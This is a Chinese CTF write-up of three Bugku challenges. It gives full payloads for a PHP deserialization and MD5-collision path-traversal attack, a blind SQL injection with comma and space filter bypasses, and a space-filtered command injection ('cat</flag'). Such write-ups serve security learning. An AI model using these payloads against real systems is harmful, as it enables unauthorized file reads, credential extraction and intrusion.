Bugctf
bugctf 的noteasytrick
|
需要绕过wakeup的执行
if(!file_get_contents("./sandbox/lock.lock")) |
这里需要进行绕过而file_get_contents()读到文件则返回读到的数据,而没有读到则返回false,而这里包含一个取反函数所以就只能读不到,这里将设法将其删除.
这里首先访问./sandbox/lock.lock文件发现存在
这里了解到可以利用 ZipArchive 的open方法进行删除这里的原因是由于原先wakeup的调用本来就为Ctf类的open方法而这里就找到了ZipArchive 的open方法经过实验这里open总共有两个参数第二个参数的是要传入一个预定义常量而8的预定义常量含义大概是将文件进行关闭,防止产生报错.而不使用参数经过实验好像也可删除文件.
之后得到脚本
|
这里仅仅得到了c的值而a与b可以通过php的弱类型来绕过
($_POST['b'] != $_POST['a']) && (md5($_POST['b']) === md5($_POST['a']) |
其实php为了可以上传一个数组,会把结尾带一对中括号的变量,例如 xxx[]的name(就是$_POST中的key)
===会比较类型,这个时候可以用到PHP中md5()函数无法处理数组(会返回NULL)来实现绕过。
payload: /?a[]=1&b[]=2 (上面==的例子也可以用数组绕过)综上payload为
a[]=1&b[]=2&c=O:5:"Jesen":4:{s:8:"filename";s:19:"./sandbox/lock.lock";s:7:"content";i:8;s:2:"me";O:10:"ZipArchive":5:{s:6:"status";i:0;s:9:"statusSys";i:0;s:8:"numFiles";i:0;s:8:"filename";s:0:"";s:7:"comment";s:0:"";}} |
上传完之后再次访问./sandbox/lock.lock文件发现并不存在
这里便绕过第一步了
这里直接需要b的值
echo file_get_contents(substr($_POST['b'],0,30)); |
而又需要绕过md5强类型碰撞
($_POST['b'] != $_POST['a']) && (md5($_POST['b']) === md5($_POST['a']) |
这里选用fastcoll软件进行生成,直接将1.txt拖动到fastcoll上面产生两个文件使用Hash软件进行对比md5值
./../../../../../../../../flag |
这里由于b对前30个字符进行截取所以直接产生30个.而这里产生的两个文件需要进行url编码而这里经过验证一般软件的url编码使用之后并不正确
而使用php内置的urlencode()函数才能正常
|
这时c的值可以进行另外的赋值因为他必须对Ctf类的open()函数进行调用才能执行到
echo file_get_contents(substr($_POST['b'],0,30)); |
|
产生的c与前两个进行组合产生最终payload
a=.%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fflag%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%AA%E9%86v%A1b%E9g%7B%C8%8A%84q%C3%7D%E0%B8%83%9B%EA%1C%E1%86%19%17%5E%3A%11%B9%A2%AB%E5%9C%1B%B6%0D%3E%84%D6%F2%8F%E8%EF1%BFm%95%F7%BC%87%C2%D9k%5D4%F1%FE%D7%F7%7B%A5%A0%DF%5D%C5P%BB%0D%27%12%D1%0DlLR%B1%D7%B4%22%D3u%60H%276%BD+%8At%C9%BF%5BOLOAp%C6%C8%AA%82k%93%9E%E8%BC%EB%B8s2%87I%DC%18%2F_I%22%F0%F3%CF%5D%05%9D%B2%0B%7DU&b=.%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fflag%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%AA%E9%86v%A1b%E9g%7B%C8%8A%84q%C3%7D%E0%B8%83%9Bj%1C%E1%86%19%17%5E%3A%11%B9%A2%AB%E5%9C%1B%B6%0D%3E%84%D6%F2%8F%E8%EF1%BF%ED%95%F7%BC%87%C2%D9k%5D4%F1%FE%D7%F7%FB%A5%A0%DF%5D%C5P%BB%0D%27%12%D1%0DlLR%B1%D7%B4%22%D3u%60H%A76%BD+%8At%C9%BF%5BOLOAp%C6%C8%AA%82k%93%9E%E8%BC%EB%B8s%B2%86I%DC%18%2F_I%22%F0%F3%CF%5D%05%1D%B2%0B%7DU&c=O:5:"Jesen":3:{s:8:"filename";N;s:7:"content";N;s:2:"me";N;} |
bugctfcql注入
常规测试
打开题目是一个登录框
先用弱口令试一下
使用万能密码 admin’or 1=1 # admin
提示非法字符
使用字典fuzz一下
字典在 D:\Data\secquan\tools\字典目录\fuzzDicts\sqlDict\sqlfilters.txt
当输入admin a时出现password error!!@_@
而当输入a a时出现username error!!@_@
当输入admin’or 1=1 # admin出现illegal character!!@_@
这说明用户名与密码时分开验证的那就肯定不是
select * from user where username=用户名 and password='密码 '; |
可能是
select * from user where username='用户名'; |
一般情况下可以使用admin’ or ‘1’=’ 进行闭合
但是此题由于进行了过滤所以
采用 admin’-0-’ 与 ‘admin’-1-‘进行闭合
这两个payload我跟大家解释一下,mysql中字符串和数字类型可以比较也可以做运算,但是在比较和运算之前,字符串都会被转化成0,这里的两个payload在后端可能就是:
select * from user where username=’admin’-0-’’; |
减号的优先级高,’admin’-0-’’结果为0,实际上就是select * from user where username=0;而我刚刚说过,字符串与数字比较会变成0,那么username=0就是永真。我们得到的结果是密码错误,符合我们的预期。
select * from user where username=’admin’-’1-’’; |
这个得到的响应用户名错误也符合我们的预期。
到现在我们可以确定了,单引号能够闭合uname这个参数存在SQL注入。
其中空格被过滤了而
绕过空格的方法有
1.使用/**/
select/**/*/**/from/**/users; |
2.使用括号绕过
select(id)from(users); |
3.使用回车%0a进行绕过
select%0a*%0afrom%0ausers%0awhere%0aid=1; |
4.使用反引号进行绕过
select`id`from`users`where`id`=1; |
此处仅剩()可用而/**/ ` %0a都不可用
经过实验如果
select (length(database())>10); |
条件成功则返回0即为假而
select (length(database())>1); |
条件失败则返回1即为真
根据上面的判断可知如果为假(0)则返回密码错误,如果为真则返回真(1)返回用户名错误
一般情况下接下来爆数据库名称都是使用substr函数,而这个函数的常规用法就是if(substr(database(),1,1)=’a’,1,0),说人话就是:如果数据库名称的第一个字母是a那么if返回1,否则返回0
然而这道题目把, 进行了过滤所以要换一个爆数据库名称的方法
绕过逗号
对于substr这个函数,由于需要有3个参数,中间需要两个逗号隔开,看似没有解决办法,但是实际上是有的
因为substr这个函数还有另一种用法
substr(“字符串” from 开始 for 长度)
举个例子
substr('flag' from 1) 返回:flag |
但是一般来说,进行sql注入的时候substr函数一般只会截取一个字母而使用substr的from的语法的时候返回的个数由from后面的数字以及原本字符串决定对于这道题目for这个关键字被过滤掉了所以没有办法直接控制长度
利用reverse函数
substr((reverse(substr('flag' from 1)))from 4) 返回:f 即总共有多少长度的字符串就从前取一后去长度 |
综上得到以下payload
admin'-(ascii(substr((reverse(substr((database())from(1))))from(8)))=97)-' |
# paload = admin'-(ascii(substr((reverse(substr((database())from(1))))from(8)))=97)-' |
得到passwd的长度而为什么是passwd的长度猜测可能是由于这个原因
select * from user where username=’admin'-(length(passwd)={})-' |
admin'-(length(passwd)={})-' |
写出python脚本
for i in range(1,50): |
写出获取passwd字段的payload
admin'-(ascii(substr((reverse(substr((passwd)from({}))))from({})))={})-'".format(i,j,str(ord(k))) |
写出python脚本
for i in range(1,33): |
进行md5解密得到密码bugkuctf
脚本
# paload = admin'-(ascii(substr((reverse(substr((database())from(1))))from(8)))=97)-' |
Linux对空格进行过滤
登录进去发现是一个命令执行页面而对空格进行了过滤使用
cat</flag |
<进行重定向输出